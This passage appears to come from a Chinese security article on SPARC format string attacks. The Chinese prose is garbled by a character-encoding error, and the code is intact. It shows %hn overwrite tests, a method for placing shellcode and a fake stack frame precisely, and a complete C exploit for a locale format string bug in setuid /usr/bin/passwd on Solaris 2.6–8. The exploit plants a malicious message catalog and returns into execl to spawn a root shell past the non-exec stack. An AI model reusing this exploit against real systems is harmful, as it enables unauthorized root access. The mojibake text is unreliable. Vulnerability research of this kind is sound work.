retloc+2ÕâÑùµÄµØÖ·(ËüÒ²²»Äܱ»ËÄÕû³ý)²Ù×÷£¬µ«ÐÒÔ˵ÄÊÇ£¬²âÊÔ±íÃ÷£¬µ£ ÐÄÊǶàÓàµÄ¡£¿´ÆðÀ´"%hn"Ö»ÒªÇóµØÖ·Äܱ»2Õû³ý£¬Èç¹ûµØÖ·²»Äܱ»2Õû³ý£¬ Ò²»á³ö"Bus Error"´íÎó. £¨ÓÃgdb¸ú×ٵõ½µÄÖ¸ÁîΪ£º sth %o2, [ %o1 ]£© ÏÂÃæÊÇÎÒдµÄÈý¸öºÜ¼òµ¥µÄ²âÊÔ³ÌÐò£º /* tt.c -- use "%hn" to overwrite retloc * Õâ¸ö³ÌÐò¼ÙÉèÎÒÃǵÄshellcodeµØÖ·ÔÚ0xffbeffac, ʹÓÃ"%hn"À´½«Õâ¸ö * µØÖ·Ð´µ½±äÁ¿retlocÖÐÈ¥¡£ */ main() { long retloc = 0; long shell_addr = 0xffbeffac, reth, retl; char buf[256], buf1[256]; reth = (shell_addr >> 16) & 0xffff ; retl = (shell_addr >> 0) & 0xffff ; printf("Shell address = 0x%.8x\n", shell_addr); /* ÕâÀïretl - reth»¹Òª¼ÓÉÏ0x10000ÊÇΪÁ˱£Ö¤¼´Ê¹retl> 24) & 0xff; SH2 = (shell_addr >> 16) & 0xff; SH3 = (shell_addr >> 8) & 0xff; SH4 = (shell_addr >> 0) & 0xff; printf("Shell address = 0x%.8x\n", shell_addr); /* ×¢ÒâBig-endianϸ²¸Ç˳Ðò²»Í¬ */ sprintf(buf, "%%.%uu%%n%%.%uu%%n%%.%uu%%n%%.%uu%%n", SH1, SH2 - SH1 + 0x100 ,SH3 - SH2 + 0x200, SH4 - SH3 + 0x300 ); printf("Before overwrite: retloc = 0x%.8x\n", retloc); snprintf(buf1, 255 , buf ,'A', &retloc, 'A', (char *)(&retloc)+1, 'A', (char *)(&retloc)+2, 'A', (char *)(&retloc)+3 ); printf("buf1 = %s\n",buf1); printf("After overwrite: retloc = 0x%.8x\n", retloc); } ÔËÐнá¹û£º ÔÚSolaris 7Ï£¬ÔËÐÐʱµÃµ½×ÜÏß´íÎó£º [warning3@sun1 non-exec]$ gcc -o tt2 tt2.c;./tt2 Shell address = 0xffbeffac Before overwrite: retloc = 0x00000000 Bus Error ÔÚRedhat 6.1Ï£¬ÔËÐнá¹ûÕýÈ·£º [warning3@redhat-6 warning3]$ gcc -o tt2 tt2.c;./tt2 Shell address = 0xffbeffac Before overwrite: retloc = 0x00000000 buf1 = 000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000006 After overwrite: retloc = 0xacffbeff <--×¢ÒâÔÚx86ÏÂÊÇ·´ÐòµÄ ÓÐÁËÉÏÃæµÄÒ»·¬·ÖÎöÎÒÃǾͿÉÒÔÀûÓÃ"%hn"À´±àдSPARCƽ̨ϵĸñʽ´®¹¥»÷ ³ÌÐòÁË¡£Ö»Òª×¢ÒâÒ»ÏÂÎÒÌáµ½µÄÁ½µã£¬Ð´ÆðÀ´¾ÍºÍx86ϵijÌÐòºÜÏàÏñÁË¡£ ÉÔºóÎÒ»áÌṩһ¸öʵÀý¡£ 2. ׼ȷ¶¨Î»shellcode ÈçºÎÔÚSPARCƽ̨ÏÂ׼ȷ¶¨Î»shellcodeµÄµØÖ·Ò»Ö±ÊÇÈÃÎÒºÜÍ·ÌÛµÄÎÊÌâ¡£Òò ΪSPARCƽ̨ϵÄÖ¸ÁîµØÖ·±ØÐëÊÇ4¶ÔÆëµÄ¡£Òò´ËÎÒÃDZØÐëÈÃshellcodeµÄÆðʼ µØÖ·ÔÚÒ»¸ö4¶ÔÆëµÄ±ß½çÉÏ¡£Í¬Ê±»¹Òª²Â²âÕâ¸öÆðʼµØÖ·¡£ÒÔǰ²ÉÓõķ½·¨ÊÇ ÔÚshellcodeÇ°Ãæ¼ÓÉϼ¸¸öµ÷Õû×Ö½Ú(0-3¸ö)£¬Í¨¹ý¸Ä±äµ÷Õû×ֽڵĸöÊýÀ´Èà shellcodeµØÖ·¶ÔÆë£¬È»ºó¿¿µ÷½ÚÆ«ÒÆÁ¿À´²Â²âÆðʼµØÖ·µÄλÖá£Òò´Ë³ÌÐòÖÐ ×ÜÊÇÉÙ²»ÁËÆ«ÒÆÁ¿ºÍ¶ÔÆëÁ¿¡£ ÔÚx86ƽ̨Ï£¬ºÜ¶à±¾µØÒç³ö¹¥»÷ʱ£¬¾­³£½«shellcode·Åµ½»·¾³±äÁ¿ÖУ¬²¢ ʹÓÃexecle()À´ÆÁ±ÎÆäËûµÄ»·¾³±äÁ¿£¬Õâʱ¶ÑÕ»Öп´ÆðÀ´ÏñÕâÑù£º +----------+------------+----------+ µÍÖ· |shellcode |vulprog name|0x00000000| ¸ßÖ· +----------+------------+----------+ »·¾³±äÁ¿Çø ³ÌÐòÃû ×ÜÊÇΪ0 ¶ÑÕ»µÄµ×²¿Ëĸö×Ö½Ú×ÜÊÇ0£¬ÍùÉÏÒÀ´ÎÊÇ¡°³ÌÐòÃû"-->»·¾³±äÁ¿Çø Òò´Ë, shellcodeµÄµØÖ·¾ÍÊÇ: shell_addr = 0xbffffffc - ³ÌÐòÃû³¤¶È - shellcode³¤¶È Òò´Ë£¬ÎÒÃÇ¿ÉÒÔ¿´µ½£¬ÔÚx86ƽ̨ÏÂÀûÓÃÕâÖÖ°ì·¨¿ÉÒÔÏ൱ÈÝÒ׺Í׼ȷµÄÕÒµ½ shellcodeµÄµØÖ·¡£ ¶øÔÚSolaris for SPARCÏ¡£ÀûÓÃÕâÖÖ·½·¨Ê±£¬¶ÑÕ»Öп´ÆðÀ´ÏñÕâÑù: +------------------------+-----------+--------+-----------+--------+ µÍÖ·|argv[0]argv[1]...argv[n]|env0...envn|platform|programname|00000000| ¸ßÖ· +------------------------+-----------+--------+-----------+--------+ ^ ÃüÁîÐвÎÊýÇø »·¾³±äÁ¿Çø ƽ̨ÐÅÏ¢ ³ÌÐòÃû ^×ÜÊÇΪÁã |__startaddr |__sp_addr ÎÒÃÇ¿ÉÒÔ¿´µ½£¬Óëx86²»Í¬µÄÊÇÔÚ»·¾³±äÁ¿ÇøÓë³ÌÐòÃûÖ®¼ä¶àÁËÒ»¸öƽ̨°æ±¾ ÐÅÏ¢£¬Í¨³£ÊÇ"SUNW,Ultra-250","SUNW,Ultra-Enterprise"Ö®ÀàµÄÐÅÏ¢¡£ ÔÚ²»Í¬µÄSunµÄÓ²¼þƽ̨ÉÏ£¬Õâ¿éÐÅÏ¢µÄ³¤¶È¿ÉÄÜÊÇÓб仯µÄ¡£µ«Õâ¸öÐÅÏ¢¿É ÒÔʹÓÃsysinfo(SI_PLATFORM, buf, len)À´»ñÈ¡£¬Òò´Ë¿ÉÒÔ˵ÊÇÒÑÖªµÄ¡£ ÁíÍâʵ¼ÊÉÏ"³ÌÐòÃû"ºÍ×îºóËĸöÁã×Ö½ÚÖ®¼ä²¢²»Êǽô°¤×ŵ쬶øÊǾ­³£¿ÉÄÜ »áÓм¸¸öÁã×Ö½Ú£¬ËƺõûÓÐʲô¹æÂÉ¡£ÕâʹµÃ±ØÐëÌṩһ¸öÆ«ÒÆÁ¿À´µÃµ½´¢ ´æÔÚ"»·¾³±äÁ¿Çø"ÖеÄshellcodeµÄ׼ȷµØÖ·£º sh_addr = sp_addr - µ÷ÕûÆ«ÒÆÁ¿ - ³ÌÐòÃû³¤¶È - ƽ̨ÐÅÏ¢³¤¶È - »·¾³±äÁ¿³¤¶È ÕâÀïµÄ»·¾³±äÁ¿³¤¶ÈÊÇÖ¸shellcode¼ÓÉÏËüÏÂÃæµÄ»·¾³±äÁ¿(Èç¹ûÓеϰ)³¤¶È£¬ ÁíÍ⻹±ØÐë±£Ö¤shellcodeµØÖ·ÊÇ4¶ÔÆëµÄ£¬Òò´Ë±ØÐëʹÓÃgdbÀ´µ÷ÊÔ»òÕß±©Á¦ ²Â²â¡£ ÓÐûÓÐÄÜ׼ȷÕÒµ½shellcodeµØÖ·µÄ·½·¨ÄØ£¿ÎÒżȻ·¢ÏÖÒ»¸ö¹æÂÉ£º¶ÑÕ»ÖÐµÄ ÃüÁîÐвÎÊýÇøµÄÆðʼµØÖ·,Ò²¾ÍÊÇargv[0]µÄÆðʼµØÖ·(ÉÏͼÖеÄstartaddr)£¬ ×ÜÊÇÒ»¸öÄܱ»4Õû³ýµÄµØÖ·¡£´ÓËüÍùºó£¬ÒÀ´ÎÌî³ä¸÷¸ö×Ö·û´®(»¥Ïà½ô°¤×Å)¡£ Èç¹û(ÃüÁîÐвÎÊýÇø³¤¶È + »·¾³±äÁ¿Çø³¤¶È + ƽ̨ÐÅÏ¢³¤¶È + ³ÌÐòÃû³¤¶È) ÊÇÒ»¸öÄܱ»ËÄÕû³ýµÄÖµ£¬ÄÇô"³ÌÐòÃûÇø"ºÍ×îºóËĸöÁã×Ö½ÚÖ®¼ä¾ÍûÓжàÓà µÄÁã×Ö½Ú£»Èç¹û²»Äܱ»ËÄÕû³ý£¬±ÈÈçÓàÊýΪn, "³ÌÐòÃûÇø"ºÍ×îºóËĸöÁã×Ö½Ú Ö®¼ä¾Í»áÌî³ä(3-n)¸öÁã×Ö½Ú¡£ Õâʵ¼ÊÉϾÍÊÇ˵ÔÚΪÕâÒ»¿éÇøÓò·ÖÅä¿Õ¼äµÄʱºò£¬×ÜÊDZ£Ö¤sp_addr - startaddr ÊÇÒ»¸ö¿ÉÒÔ±»4Õû³ýµÄÖµ¡£ÒòΪSPARCƽ̨ÏÂÄÚ´æ·ÖÅäʱ±ØÐëÊÇÒÔ4×Ö½ÚΪµ¥Î»¡£ ÓÐÁËÕâ¸ö¹æÂÉ£¬ÎÒÃǾͿÉÒԺܾ«È·µÄÕÒµ½shellcodeµÄµØÖ·£¬Ò²¿ÉÒÔºÜÈÝÒ×µÄ ÈÃËü¶ÔÆëÁË. ¼ÙÉèÎÒÃǵĻ·¾³±äÁ¿ÇøÓÐÈý¸ö×Ö·û´®env0,env1,env2. shellcode·ÅÔÚenv2ÖС£ (1) Ê×ÏÈÎÒÃÇÉè·¨ÈÃshellcodeµØÖ·¶ÔÆë¡£ Ê×ÏÈÎÒÃǼÆËãÃüÁîÐвÎÊýÇøµÄ³¤¶È + env0µÄ³¤¶È + env1µÄ³¤¶È, Èç¹ûÕâ¸ö×Ü ³¤¶ÈÄܱ»4Õû³ý£¬ÄÇôenv2µÄÆðʼµØÖ·¿Ï¶¨ÊÇ4¶ÔÆëµÄÁË£»Èç¹û²»ÄÜ£¬ÎÒÃǾÍÔÚ env1ÖÐÌí¼Ó¼¸¸ö×Ö½Ú(×Ö½ÚÊýÄ¿ = 3 - (len%4))£¬Ê¹µÃÖØÐ¼ÆËãµÃµ½µÄ×ܳ¤¶È ¿ÉÒÔ±»ËÄÕû³ý¡£ (2) È»ºóÎÒÃÇÔÙÀ´¼ÆËãshellcodeµÄ¾«È·µØÖ·¡£Õâ¸öµØÖ·¿ÉÒÔ¸ù¾ÝstartaddrµÃ µ½£¬Ò²¿ÉÒÔ¸ù¾Ýsp_addrµÃµ½¡£Ê×ÏȼÆËãstartaddrºÍsp_addrÖ®¼äµÄÕâЩ×Ö·û´® µÄ×ܳ¤¶È£¬È»ºóͨ¹ýÇ°ÃæËµµÄ¹æÂÉËã³öʵ¼ÊµÄ(sp_addr - startaddr)ÊýÖµ»òÕß Ä©Î²Ìí¼ÓµÄÁã×Ö½ÚÊýÄ¿¡£ÔòshellcodeµØÖ·¾Í¿ÉÒÔÕâÑù¼ÆË㣺 sh_addr = sp_addr - (sp_addr - startaddr)µÄÖµ + ÃüÁîÐвÎÊý³¤¶È + env0³¤¶È + env1³¤¶È »òÕß sh_addr = sp_addr - ĩβÌí¼ÓµÄÁã×Ö½Ú¸öÊý - ³ÌÐòÃû³¤¶È - ƽ̨ÐÅÏ¢³¤¶È - shellcode³¤¶È ËäȻ˵ÆðÀ´±È½ÏÂÞ࣬ʵ¼ÊËãÆðÀ´²¢²»Âé·³¡£ÔÚÀý³ÌÖдó¼ÒÒ»¿´¾Í»áÃ÷°×ÁË¡£ 3. ÀûÓøñʽ´®¹¥»÷Í»ÆÆSolaris²»¿ÉÖ´ÐжÑÕ»±£»¤ SloarisϵIJ»¿ÉÖ´ÐжÑÕ»±£»¤ÊÇͨ¹ýÈ¥³ý¶ÑÕ»µÄÖ´ÐÐȨÏÞÍê³ÉµÄ¡£Òò´ËÖ»ÄÜ Í¨¹ý·µ»Ølibc¿â»òÕßÀûÓÿ⺯Êý½«shellcode¿½±´µ½¿ÉÖ´ÐÐÄÚ´æÖ´Ðеķ½·¨¡£ ÕâÁ½ÖÖ·½·¨µÄʵÏÖÔ­ÀíÓëϸ½Ú¶¼ÒѾ­ÔÚ¡°Solaris for SPARC ¶ÑÕ»Òç³ö³ÌÐò±à д¡± ÖÐÌÖÂÛ¹ýÁË¡£ÕâÀïÖ»ÊÇ̸һÏÂÈçºÎÀûÓøñʽ´®À´Íê³É¹¥»÷¡£ÎªÁ˼òµ¥Æð ¼û,ÎÒÃÇÖ»ÌÖÂÛʹÓÃexecl("ksh")µÄ·½·¨¡£ÎÒÃÇËùÒªÍê³ÉµÄÈÎÎñÖ÷ÒªÓÐÈýµã£º (1) ¸²¸Ç¶ÑÕ»Öб£´æµÄijº¯ÊýµÄ%i6(%fp)ºÍ%i7 (2) ÉèÖÃÒ»¸ö°üº¬"/bin/ksh"µÄ»·¾³±äÁ¿£¬²¢¼ÆËãÆäµØÖ· (3) ÔÚ»·¾³±äÁ¿Öй¹ÔìÒ»¸ö¼ÙÕ»Ö¡,ÌîÈëexecl()ËùÐè²ÎÊýµÄµØÖ· ʵÏÖ·½·¨: Èç¹ûretlocÊDZ£´æ%i7µÄµØÖ·,ÄÇô¸²¸ÇµÄÄ£°åÈçͼËùʾ£º |AAAA(retloc-4)AAAA(retloc-2)AAAA(retloc)AAAA(retloc+2)|%.8x..%.8x| %(fp1)c%hn%(fp2)%hn%(execl1)c%hn%(execl2)%hn| ÕâÀïÐèÒªÊ×ÏÈÈ·¶¨µÄÊǼÙÕ»Ö¡µÄÆðʼµØÖ·ÒÔ¼°execl()µÄ¼ÓÔØµØÖ·¡£ ¼ÙÕ»Ö¡µÄÆðʼµØÖ·±ØÐëÊÇÒ»¸ö4¶ÔÆëµÄµØÖ·£¬·ñÔòexecl()²»»á¹¤×÷¡£Êµ¼ÊÌå ÏÖ¾ÍÊǹ¥»÷³ÌÐòËÆºõ½©ÔÚÄÇÀïÁË¡£ ÓÉÓÚÎÒÃǵļÙÕ»Ö¡ÊÇÔÚ»·¾³±äÁ¿Öе쬲¢²»Äܱ£Ö¤Ò»¶¨ÊÇ¶ÔÆëµÄ¡£Òò´ËÀûÓà 2.ÖеÄÌÖÂÛ£¬ÎÒÃÇÔÚ¼ÙÕ»Ö¡Ç°ÃæÔö¼ÓÒ»¸ö»·¾³±äÁ¿env[1] = paddingÀ´½øÐе÷ Õû¡£Í¨¹ý¼ÆËãÃüÁîÐвÎÊýÇø³¤¶ÈÒÔ¼°env[1]ÒÔǰµÄµÄ»·¾³±äÁ¿³¤¶È£¬ÎÒÃÇ¿ÉÒÔ ×¼È·µÄµÃµ½paddingÖÐËùÐè×Ö·ûµÄ¸öÊý£¬Ê¹µÃ¼ÙÕ»Ö¡µÄÆðʼµØÖ·¶ÔÆë¡£ÎÒÃǹ¹ ÔìµÄ»·¾³±äÁ¿ÈçÏ£º env[0] = "xxx"; /* ÆäËûµÄ»·¾³±äÁ¿ */ env[1] = padding; /* Õâ¸ö×Ö·û´®¾ÍÊÇÀ´½øÐе÷½ÚµÄ */ env[2]=(fakeframe); /* ¼ÙÕ»Ö¡¿ªÊ¼*/ env[3]=&(fakeframe[40]); env[4]=&(fakeframe[40]); env[5]=&(fakeframe[40]); env[6]=&(fakeframe[44]); env[7]="/bin/ksh"; /* ±£´æ"/bin/ksh"µÄ»·¾³±äÁ¿ */ env[8]=NULL; ÔÚÈ·¶¨ÁËpaddingµÄ´óСºó£¬ÎÒÃǾͿÉÒÔ¸ù¾Ý2.ÖеÄÌÖÂÛÀ´×¼È·µÄ¼ÆËã¼ÙÕ»Ö¡ µÄÆðʼµØÖ·ÒÔ¼°"/bin/ksh"µÄµØÖ·ÁË¡£ ÏÖÔÚ£¬ÎÒÃÇÔÙÒ²²»ÓÃΪ²Â²â¿É¶ñµÄÆ«ÒÆÁ¿ºÍ¶ÔÆëÁ¿Í·ÌÛÁË¡£:) »ñµÃexecl()µÄ¼ÓÔØµØÖ·ÉÔ΢ÓÐЩÂé·³¡£ÒÔǰÎÒÃǵÄ×ö·¨ÊÇʹÓÃdlopen()ºÍ dlsym()º¯Êý»ñÈ¡¹¥»÷³ÌÐòµ±Ç°µÄ¹²Ïí¿âÖÐexecl()µÄ¼ÓÔØµØÖ·£¬È»ºóÓÃÕâ¸ö µØÖ·À´×÷ΪÎÊÌâ³ÌÐòµÄexecl()µØÖ·À´Ê¹Óõģ¬ÕâÒ²ÊÇhorizonÔÚËûµÄÎÄÕÂÖРʹÓõÄÒ»¸ö·½·¨¡£È»¶ø£¬ÓÉÓÚ²»Í¬³ÌÐòËù¼ÓÔØµÄ¹²Ïí¿â²»Í¬£¬libc¿â¼ÓÔØµÄ λÖÃÒ²²»¾¡Ïàͬ£¬Òò´ËºÜ¶àʱºòÕâÁ½¸öexecl()µØÖ·²¢²»Ïàͬ¡£¿ªÊ¼ÎÒÏë¿´Ò» ÏÂËüÃǵIJîÖµÊÇ·ñÊÇÓйæÂɵģ¬ºóÀ´·¢ÏÖͬÑùµÄÎÊÌâ³ÌÐò£¬ÔÚ²»Í¬µÄϵͳÖУ¬ Õâ¸ö²îÖµÒ²²»Ïàͬ¡£ËƺõÖ»ÄÜ¿¿²Â²âÀ´Íê³É¡£²»¹ýÎÒºöÈ»Ïëµ½£¬Èç¹ûÔÚ±àÒë ¹¥»÷³ÌÐòʱҲ¼ÓÔØÎÊÌâ³ÌÐòËùÓõĶ¯Ì¬¹²Ïí¿â£¬ÄÇôlibc¿âµÄ¼ÓÔØÎ»Öò»ÊÇ ¾ÍÒ»ÑùÁËÂð£¿ÏÂÒ»²½¾ÍÊÇÈçºÎ»ñÈ¡ÎÊÌâ³ÌÐòµÄ¹²Ïí¿âÁË¡£ldd¿ÉÒÔ°ïÎÒÃÇ×ö µ½Õâµã£º [warning3@sun1 warning3]$ ldd /usr/bin/passwd libcmd.so.1 => /usr/lib/libcmd.so.1 libcrypt_i.so.1 => /usr/lib/libcrypt_i.so.1 libbsm.so.1 => /usr/lib/libbsm.so.1 libdl.so.1 => /usr/lib/libdl.so.1 libpam.so.1 => /usr/lib/libpam.so.1 libnsl.so.1 => /usr/lib/libnsl.so.1 libsocket.so.1 => /usr/lib/libsocket.so.1 libmp.so.2 => /usr/lib/libmp.so.2 libc.so.1 => /usr/lib/libc.so.1 libgen.so.1 => /usr/lib/libgen.so.1 µ±È»ÕâÑùµÄ¸ñʽÎÒÃÇÊÇû·¨Óõ쬻¹µÃ±ä»»Ò»Ï£º [warning3@sun1 warning3]$ ldd /usr/bin/passwd|sed -e 's/^.lib\([_0-9a-zA-Z]*\)\.so.*/-l\1/' -lcmd -lcrypt_i -lbsm -ldl -lpam -lnsl -lsocket -lmp -lc -lgen ÕâÑùÎÒÃǾͿÉÒÔÓÃÕâЩ×÷Ϊ²ÎÊýÀ´±àÒëÎÒÃǵĹ¥»÷³ÌÐòÁË£¬ÀýÈ磺 $gcc -o ex ex.c `ldd /usr/bin/passwd|sed -e 's/^.lib\([_0-9a-zA-Z]*\)\.so.*/-l\1/'` ¸ù¾Ýʵ¼Ê²âÊԵĽá¹û£¬ÕâÑùµÃµ½µÄexecl()¼ÓÔØµØÖ·ÓëÎÊÌâ³ÌÐòµÄÊÇÒ»ÑùµÄ¡£ ˵ÁËÕâô¶à£¬×îºó»¹ÊÇÌṩһ¸öʵ¼ÊµÄÀý×ÓÀ´Ñé֤һϰɡ£ÕâÊÇSolarisÏÂlocale ×ÓϵͳµÄ¸ñʽ´®ÎÊÌâµÄÒ»¸ö²âÊÔ³ÌÐò£¬¿ÉÒÔÓÃÓÚʹÓÃÁ˲»¿ÉÖ´ÐжÑÕ»±£»¤µÄ Solaris 2.6/7/8Ï¡£µ±È»²»Í¬µÄϵͳretlocµÄÖµ¿ÉÄÜÂÔÓвîÒ죬Õâ¿ÉÄÜÊÇÄãʹ ÓÃÕâ¸ö²âÊÔ³ÌÐòʱΨһÐèÒªµ÷½ÚµÄÁ¿ÁË¡£:) /* exploit for locale subsystem format strings bug In Solaris with non-exec stack. * Tested in Solaris 2.6/7.0 (If it wont work, try adjust retloc offset. e.g. * ./ex -o -4 ) * * $gcc -o ex ex.c `ldd /usr/bin/passwd|sed -e 's/^.lib\([_0-9a-zA-Z]*\)\.so.*/-l\1/'` * usages: ./ex -h * * Thanks for Ivan Arce who found this bug. * Thanks for horizon's great article about defeating non-exec stack for Solaris. * * THIS CODE IS FOR EDUCATIONAL PURPOSE ONLY AND SHOULD NOT BE RUN IN * ANY HOST WITHOUT PERMISSION FROM THE SYSTEM ADMINISTRATOR. * * by warning3@nsfocus.com (http://www.nsfocus.com) * y2k/11/10 */ #include #include #include #include #include #define BUFSIZE 2048 /* the size of format string buffer*/ #define BUFF 128 /* the progname buffer size */ #define SHELL "/bin/ksh" /* shell name */ #define DEFAULT_NUM 68 /* format strings number */ #define DEFAULT_RETLOC 0xffbefb44 /* default retloc address */ #define VULPROG "/usr/bin/passwd" /* vulnerable program name */ void usages(char *progname) { int i; printf("Usage: %s \n", progname); printf(" [-h] Help menu\n"); printf(" [-n number] format string's number\n"); printf(" [-b align1] retloc buffer alignment\n"); printf(" [-o offset] retloc offset\n\n"); } /* get current stack point address to guess Return address */ long get_sp(void) { __asm__("mov %sp,%i0"); } main( int argc, char **argv ) { char *pattern, retlocbuf[BUFF], *env1[11]; char plat[BUFF], *ptr; long sh_addr, sp_addr, i; long retloc = DEFAULT_RETLOC, num = DEFAULT_NUM, align1 = 0, offset=0; long *addrptr; long reth, retl, reth1, retl1; FILE *fp; extern int optind, opterr; extern char *optarg; int opt; void *handle; long execl_addr, fp_addr, fp1_addr; char fakeframe[512]; char padding[64], pad = 0; int env_len, arg_len, len; char progname[BUFF]; strncpy(progname, argv[0], BUFF-1); while ((opt = getopt(argc, argv, "n:b:o:h")) != -1) switch((char)opt) { case 'n': num = atoi(optarg); break; case 'b': align1 = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': case 'h': default: usages(progname); exit(0); } retloc += offset; /* get platform info */ sysinfo(SI_PLATFORM,plat,256); /* Construct fake frame in environ */ env1[0] = "NLSPATH=:."; env1[1] = padding; /* padding so that fakeframe's address can be divided by 4 */ /* sh_addr|sh_addr|0x00000000|fp2|fp2|fp2|fp2|fp2|0x00|/bin/ksh|0x00 */ env1[2]=(fakeframe); /* sh_addr|sh_addr|0x00 */ env1[3]=&(fakeframe[40]);/* |0x00 */ env1[4]=&(fakeframe[40]);/* |0x00 */ env1[5]=&(fakeframe[40]);/* |0x00 */ env1[6]=&(fakeframe[44]);/* |fp2|fp2|fp2|fp2|fp2*/ env1[7]=SHELL; /* shell strings */ env1[8]=NULL; /* calculate the length of "VULPROG" + argv[1] */ arg_len = strlen(VULPROG) + strlen("-z") + 2; /* calculate the pad nummber . * We manage to let the length of padding + arg_len + "NLSPATH=." can * be divided by 4. So fakeframe address is aligned with 4, otherwise * the exploit won't work. */ pad = 3 - (arg_len + strlen(env1[0]) +1)%4; memset(padding, 'A', pad); padding[pad] = '\0'; /* get environ length */ env_len = 0; for(i = 0 ; i < 8 ; i++ ) env_len += strlen(env1[i]) + 1; /* get the length from argv[0] to stack bottom * * +------------------------+-----------+--------+-----------+--------+ * |argv[0]argv[1]...argv[n]|env0...envn|platform|programname|00000000| * +------------------------+-----------+--------+-----------+--------+ * ^ ^ * |__startaddr |__sp_addr * * "sp_addr" = 0xffbefffc(Solaris 7/8) or 0xeffffffc(Solaris 2.6) * * I find "startaddr" always can be divided by 4. * So we can adjust the padding's size to let the fakeframe address * can be aligned with 4. * * len = length of "argv" + "env" + "platform" + "program name" * if (len%4)!=0, sp_addr - startaddr = (len/4)*4 + 4 * if (len%4)==0, sp_addr - startaddr = len * So we can get every entry's address precisely based on startaddr or sp_addr. * Now we won't be bored with guessing the alignment and offset.:) */ len = arg_len + env_len + strlen(plat) + 1 + strlen(VULPROG) + 1; printf("len = %#x\n", len); /* get stack bottom address */ sp_addr = (get_sp() | 0xffff) & 0xfffffffc; /* fp1_addr must be valid stack address */ fp1_addr = (sp_addr & 0xfffffac0); /* get shell string address */ sh_addr = sp_addr - (4 - len%4) /* the trailing zero number */ - strlen(VULPROG) - strlen(plat) - strlen(SHELL) - 3 ; printf("SHELL address = %#x\n", sh_addr); /* get our fake frame address */ fp_addr = sh_addr - 8*8 - 1; /* get execl() address */ if (!(handle=dlopen(NULL,RTLD_LAZY))) { fprintf(stderr,"Can't dlopen myself.\n"); exit(1); } if ((execl_addr=(long)dlsym(handle,"execl"))==NULL) { fprintf(stderr,"Can't find execl().\n"); exit(1); } /* dec 4 to skip the 'save' instructure */ execl_addr -= 4; /* check if the exec addr includes zero */ if (!(execl_addr & 0xff) || !(execl_addr * 0xff00) || !(execl_addr & 0xff0000) || !(execl_addr & 0xff000000)) { fprintf(stderr,"the address of execl() contains a '0'. sorry.\n"); exit(1); } printf("Using execl() address : %#x\n",execl_addr); /* now we set up our fake stack frame */ addrptr=(long *)fakeframe; *addrptr++= 0x12345678; /* you can put any data in local registers */ *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++= 0x12345678; *addrptr++=sh_addr; /* points to our string to exec */ *addrptr++=sh_addr; /* argv[1] is a copy of argv[0] */ *addrptr++=0x0; /* NULL for execl(); &fakeframe[40] */ *addrptr++=fp1_addr; /* &fakeframe[44] */ *addrptr++=fp1_addr; *addrptr++=fp1_addr; *addrptr++=fp1_addr; /* we need this address to work */ *addrptr++=fp1_addr; /* cause we don't need exec another func,so put garbage here */ *addrptr++=0x0; /* get correct retloc in solaris 2.6(0xefffxxxx) and solaris 7/8 (0xffbexxxx) */ retloc = (get_sp()&0xffff0000) + (retloc & 0x0000ffff); printf("Using RETloc address = 0x%x, fp_addr = 0x%x ,Align1= %d\n", retloc, fp_addr, align1 ); /* Let's make reloc buffer: |AAAA|retloc-4|AAAA|retloc-2|AAAA|retloc|AAAA|retloc+2|*/ addrptr = (long *)retlocbuf; for( i = 0 ; i < 8 ; i ++ ) *(addrptr + i) = 0x41414141; *(addrptr + 1) = retloc - 4; *(addrptr + 3) = retloc - 2; *(addrptr + 5) = retloc ; *(addrptr + 7) = retloc + 2; if((pattern = (char *)malloc(BUFSIZE)) == NULL) { printf("Can't get enough memory!\n"); exit(-1); } /* Let's make formats string buffer: * |A..AAAAAAAAAAAA|%.8x....|%(fp1)c%hn%(fp2)%hn%(execl1)c%hn%(execl2)%hn| */ ptr = pattern; memset(ptr, 'A', 32); ptr += 32; for(i = 0 ; i < num ; i++ ){ memcpy(ptr, "%.8x", 4); ptr += 4; } reth = (fp_addr >> 16) & 0xffff ; retl = (fp_addr >> 0) & 0xffff ; reth1 = (execl_addr >> 16) & 0xffff ; retl1 = (execl_addr >> 0) & 0xffff ; /* Big endian arch */ sprintf(ptr, "%%%uc%%hn%%%uc%%hn%%%uc%%hn%%%uc%%hn", (reth - num*8 -4*8 + align1 ), (0x10000 + retl - reth), (0x20000 + reth1 - retl), (0x30000 + retl1 - reth1)); if( !(fp = fopen("messages.po", "w+"))) { perror("fopen"); exit(1); } fprintf(fp,"domain \"messages\"\n"); fprintf(fp,"msgid \"%%s: illegal option -- %%c\\n\"\n"); fprintf(fp,"msgstr \"%s\\n\"", pattern + align1); fclose(fp); system("/usr/bin/msgfmt -o SUNW_OST_OSLIB messages.po"); /* thanks for z33d's idea. * It seems we have to do like this in Solaris 8. */ i=open("./SUNW_OST_OSLIB",O_RDWR); /* locate the start position of formats strings in binary file*/ lseek(i, 62, SEEK_SET); /* replace the start bytes with our retlocbuf */ write(i, retlocbuf + align1, 32 - align1); close(i); execle(VULPROG, VULPROG, "-z", NULL, env1); } /* end of main */ ²Î¿¼ÎÄÏ×: [1]. <>,horizon